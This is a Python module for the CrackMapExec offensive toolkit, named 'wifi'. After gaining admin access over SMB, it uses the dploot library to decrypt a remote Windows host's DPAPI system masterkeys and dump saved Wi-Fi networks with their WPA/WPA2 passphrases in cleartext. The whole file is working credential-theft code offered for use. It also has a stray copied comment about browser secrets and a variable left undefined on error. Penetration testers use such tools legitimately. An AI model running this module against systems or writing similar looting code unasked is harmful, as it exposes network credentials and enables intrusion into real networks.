#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from dploot.triage.masterkeys import MasterkeysTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.wifi import WifiTriage

from cme.helpers.logger import highlight


class CMEModule:

    name = 'wifi'
    description = "Get key of all wireless interfaces"
    supported_protocols = ['smb']
    opsec_safe = True
    multiple_hosts = True

    def options(self, context, module_options):
        '''
        '''     

    def on_admin_login(self, context, connection):
        host = connection.hostname + "." + connection.domain
        domain = connection.domain
        username = connection.username
        kerberos = connection.kerberos
        aesKey = connection.aesKey
        use_kcache = getattr(connection, "use_kcache", False)
        password = getattr(connection, "password", "")
        lmhash = getattr(connection, "lmhash", "")
        nthash = getattr(connection, "nthash", "")

        target = Target.create(
            domain=domain,
            username=username,
            password=password,
            target=host,
            lmhash=lmhash,
            nthash=nthash,
            do_kerberos=kerberos,
            aesKey=aesKey,
            no_pass=True,
            use_kcache=use_kcache,
        )

        conn = None

        try:
            conn = DPLootSMBConnection(target) 
            conn.smb_session = connection.conn
        except Exception as e:
            context.log.debug("Could not upgrade connection: {}".format(e))
            return

        masterkeys = []
        try:
            masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
            masterkeys += masterkeys_triage.triage_system_masterkeys()
        except Exception as e:
            context.log.debug("Could not get masterkeys: {}".format(e))
        
        if len(masterkeys) == 0:
            context.log.error("No masterkeys looted")
            return

        context.log.success("Got {} decrypted masterkeys. Looting Wifi interfaces".format(highlight(len(masterkeys))))

        try:
            # Collect Chrome Based Browser stored secrets
            wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
            wifi_creds = wifi_triage.triage_wifi()
        except Exception as e:
            context.log.debug("Error while looting wifi: {}".format(e))
        for wifi_cred in wifi_creds:
            if wifi_cred.auth.upper() == 'OPEN':
                context.log.highlight("[OPEN] %s" % (wifi_cred.ssid))
            if wifi_cred.auth.upper() in ['WPAPSK', 'WPA2PSK']:
                try:
                    context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password.decode('latin-1')))
                except:
                    context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password))
            else:
                context.log.highlight("[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type))